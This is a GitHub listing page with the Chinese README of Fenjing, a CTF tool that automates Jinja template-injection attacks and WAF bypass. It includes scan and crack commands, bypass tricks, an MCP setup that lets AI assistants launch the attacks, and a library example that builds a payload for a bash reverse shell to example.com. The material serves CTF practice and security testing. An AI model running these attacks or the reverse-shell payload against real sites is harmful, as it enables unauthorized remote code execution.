Fenjing GitHub Details, Stars and Alternatives

REPOSITORY OVERVIEW

Live repository statistics

★ 1.3KStars

⑂ 76Forks

◯ 4Open issues

◉ 1.3KWatchers

README preview

Bypass the WAF without knowing WAF

Static Badge

English V我50

焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本，可以自动攻击给定的网站或接口，省去手动测试接口，fuzz题目WAF的时间。

演示

主要特性

集成了大部分CTF中的SSTI WAF绕过技巧
全自动爆破API参数并攻击
全自动分析网站的WAF并生成相应的payload
支持攻击对应的HTML表单或HTTP路径
支持将payload放进GET参数中提交，有效降低payload长度
自动检测关键字替换并绕过
......

安装

在以下方法中选择一种

使用pipx安装运行（推荐）

# 首先使用apt/dnf/pip/...安装pipx
#pip install pipx
# 然后用pipx自动创建独立的虚拟环境并进行安装
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

使用pip安装运行

pip install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

下载并运行docker镜像

docker run --net host -it marven11/fenjing webui

使用

webui

可以直接输入python -m fenjing webui启动webui，指定参数并自动攻击

在左边填入参数并点击开始分析，然后在右边输入命令即可

scan

在终端可以用scan功能，猜测某个页面的参数并自动攻击：

python -m fenjing scan --url 'http://xxxx:xxx/yyy'

crack

也可以用crack功能，手动指定参数进行攻击：

python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET

这里提供了aaa和bbb两个参数进行攻击，并使用--detect-mode fast加速攻击速度

crack-request

还可以将HTTP请求写进一个文本文件里（比如说req.txt）然后进行攻击

文本文件内容如下：

GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

命令如下：

python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000

crack-keywords

如果已经拿到了服务端源码app.py的话，可以自动提取代码中的列表作为黑名单生成对应的payload

命令如下：

python -m fenjing crack-keywords -k app.py -c 'ls /'

其他

此外还支持接受JSON的API，以及根据给定关键字生成payload的用法，详见examples.md

详细使用和疑难解答

见examples.md以及--help选项

技术细节

项目结构如下：

payload生成原理见howitworks.md

支持的绕过规则如下

关键字符绕过：

'和"
_
[
绝大多数敏感关键字
任意阿拉伯数字
+
-
*
~
{{
%
...

自然数绕过：

支持绕过0-9的同时绕过加减乘除，支持的方法如下：

十六进制
a*b+c
(39,39,20)|sum
(x,x,x)|length
unicode中的全角字符等

`'%c'`绕过:

支持绕过引号，g，lipsum和urlencode等

下划线绕过：

其中的数字22支持上面的数字绕过

任意字符串：

支持绕过引号，任意字符串拼接符号，下划线和任意关键词

支持以下形式

'str'
"str"
"\x61\x61\x61"
dict(__class__=x)|join
- 其中的下划线支持绕过
'%c'*3%(97,97, 97)
- 其中的'%c'也支持上面的'%c'绕过
- 其中的所有数字都支持上面的数字绕过
将字符串切分成小段分别生成
...

属性：

['aaa']
.aaa
|attr('aaa')

Item

['aaa']
.aaa
.__getitem__('aaa')

其他技术细节

脚本会提前生成一些字符串并使用{%set %}设置在前方
脚本会在payload的前方设置一些变量提供给payload后部分的表达式。
脚本会在全自动的前提下生成较短的表达式。
脚本会仔细地检查各个表达式的优先级，尽量避免生成多余的括号。

详细使用

作为命令行脚本使用

各个功能的介绍：

webui: 网页UI
- 顾名思义，网页UI
- 默认端口11451
scan: 扫描整个网站
- 从网站中根据form元素提取出所有的表单并攻击
- 根据给定URL爆破参数，以及提取其他URL进行扫描
- 扫描成功后会提供一个模拟终端或执行给定的命令
- 示例：python -m fenjing scan --url 'http://xxx/'
crack: 对某个特定的表单进行攻击
- 需要指定表单的url, action(GET或POST)以及所有字段(比如'name')
- 攻击成功后也会提供一个模拟终端或执行给定的命令
- 示例：python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: 对某个特定的路径进行攻击
- 攻击某个路径（如http://xxx.xxx/hello/<payload>）存在的漏洞
- 参数大致上和crack相同，但是只需要提供对应的路径
- 示例：python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: 读取某个请求文件进行攻击
- 读取文件里的请求，将其中的PAYLOAD替换成实际的payload然后提交
- 根据HTTP格式会默认对请求进行urlencode, 可以使用--urlencode-payload 0关闭
crack-json: 攻击指定的JSON API
- 当一个API的body格式为JSON时攻击这个JSON中的某个键
- 示例：python -m fenjing crack-json --url 'http://127.0.0.1:5000/crackjson' --json-data '{"name": "admin", "age": 24, "msg": ""}' --key msg
crack-keywords: 读取文件中的所有关键字并攻击
- 从.txt, .py或者.json文件中读取所有关键字，对给定的shell指令生成对应的payload
- 示例：python -m fenjing crack-keywords -k waf.json -o payload.jinja2 --command 'ls /'

一些特殊的选项：

--eval-args-payload：将payload放在GET参数x中提交
--detect-mode：检测模式，可为accurate或fast
--environment：指定模板的渲染环境，默认认为模板在flask中的render_template_string中渲染
--tamper-cmd：在payload发出前编码
- 例如：
  - --tamper-cmd 'rev'：将payload反转后再发出
  - --tamper-cmd 'base64'：将payload进行base64编码后发出
  - --tamper-cmd 'base64 | rev'：将payload进行base64编码并反转后再发出
详细解释见examples.md

MCP服务器支持

焚靖支持通过Model Context Protocol（MCP）作为外部服务提供给AI助手使用。

配置方法

在MCP客户端配置文件中添加以下配置（例如OpenCode的opencode.jsonc）：

{
  "mcp": {
    "fenjing": {
      "type": "local",
      "command": ["fenjing", "mcp"],
      "enabled": true
    }
  }
}

配置完成后，AI助手即可通过焚靖进行SSTI漏洞检测和攻击。

作为python库使用

参考example.py

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "０","１","２","３","４","５","６","７","８","９"
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    print(f"{config_payload=}")

其他使用例可以看这里

捐赠

日期	金额	平台	备注
20250407	￥20	微信
20250703	￥18.88	微信	加油!
20251110	￥50	微信